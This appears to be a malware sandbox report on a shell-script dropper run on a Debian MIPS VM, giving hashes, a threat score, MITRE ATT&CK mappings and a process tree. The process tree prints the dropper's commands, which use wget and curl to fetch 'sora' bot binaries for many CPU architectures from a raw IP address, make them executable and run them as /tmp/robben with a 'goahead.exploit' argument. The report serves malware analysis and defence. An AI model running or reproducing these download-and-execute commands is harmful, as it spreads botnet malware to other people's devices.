c6999bd9af6aa383fb2f37fb391bdf7d86141f8d284afd2ca3a3e44667dbb364

Analysis

max time kernel
64s
max time network
66s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
12/11/2024, 01:00

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General

Target
3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh
Size 2KB
Sample241112-bcs1va1drm
SHA256 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b
MD5 022d4174cf8995418557252b59cda437
SHA1 fda59da305a30c26d79a6ca50629937d7abf43bc
SHA512 70c28917d02042fc6bd2cda63c4b9baae60dd39eb06688b912d7bec7b383fc9cbd2fa4e62000e7b1a41e5495078ddd00537826bca915ee41032c984c9d0a73ec
MD5 SHA1 SHA512

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
756	chmod
808	chmod
887	chmod
901	chmod
749	chmod
815	chmod
822	chmod
894	chmod
730	chmod
843	chmod
742	chmod
873	chmod
880	chmod
861	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/robben	731	robben
/tmp/robben	743	robben
/tmp/robben	750	robben
/tmp/robben	757	robben
/tmp/robben	809	robben
/tmp/robben	816	robben
/tmp/robben	824	robben
/tmp/robben	844	robben
/tmp/robben	863	robben
/tmp/robben	874	robben
/tmp/robben	881	robben
/tmp/robben	888	robben
/tmp/robben	895	robben
/tmp/robben	902	robben

Reads runtime system information 14 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
740	cat
734	wget
737	curl

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/robben	3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh

/tmp/3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh
/tmp/3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh
1⤵
- Writes file to tmp directory
PID:701
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.x86
  2⤵
  PID:706
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.x86
  2⤵
  - Reads runtime system information
  PID:714
- /bin/cat
  cat sora.x86
  2⤵
  PID:729
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:731
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:734
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:737
- /bin/cat
  cat sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:740
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:743
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.x86_64
  2⤵
  PID:745
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.x86_64
  2⤵
  - Reads runtime system information
  PID:746
- /bin/cat
  cat sora.x86_64
  2⤵
  PID:748
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:750
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.i468
  2⤵
  PID:752
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.i468
  2⤵
  - Reads runtime system information
  PID:753
- /bin/cat
  cat sora.i468
  2⤵
  PID:755
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:757
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.i686
  2⤵
  PID:759
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.i686
  2⤵
  - Reads runtime system information
  PID:805
- /bin/cat
  cat sora.i686
  2⤵
  PID:807
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:809
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.mpsl
  2⤵
  PID:811
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.mpsl
  2⤵
  - Reads runtime system information
  PID:812
- /bin/cat
  cat sora.mpsl
  2⤵
  PID:814
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:816
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm4
  2⤵
  PID:818
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm4
  2⤵
  - Reads runtime system information
  PID:819
- /bin/cat
  cat sora.arm4
  2⤵
  PID:821
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:824
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm5
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm5
  2⤵
  - Reads runtime system information
  PID:832
- /bin/cat
  cat sora.arm5
  2⤵
  PID:841
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:844
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm6
  2⤵
  PID:846
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm6
  2⤵
  - Reads runtime system information
  PID:851
- /bin/cat
  cat sora.arm6
  2⤵
  PID:859
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:863
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm7
  2⤵
  PID:865
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm7
  2⤵
  - Reads runtime system information
  PID:868
- /bin/cat
  cat sora.arm7
  2⤵
  PID:872
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:874
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.ppc
  2⤵
  PID:876
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.ppc
  2⤵
  - Reads runtime system information
  PID:877
- /bin/cat
  cat sora.ppc
  2⤵
  PID:879
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:881
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.ppc440fp
  2⤵
  PID:883
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.ppc440fp
  2⤵
  - Reads runtime system information
  PID:884
- /bin/cat
  cat sora.ppc440fp
  2⤵
  PID:886
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:888
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.m68k
  2⤵
  PID:890
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.m68k
  2⤵
  - Reads runtime system information
  PID:891
- /bin/cat
  cat sora.m68k
  2⤵
  PID:893
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:895
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.sh4
  2⤵
  PID:897
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.sh4
  2⤵
  - Reads runtime system information
  PID:898
- /bin/cat
  cat sora.sh4
  2⤵
  PID:900
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:902

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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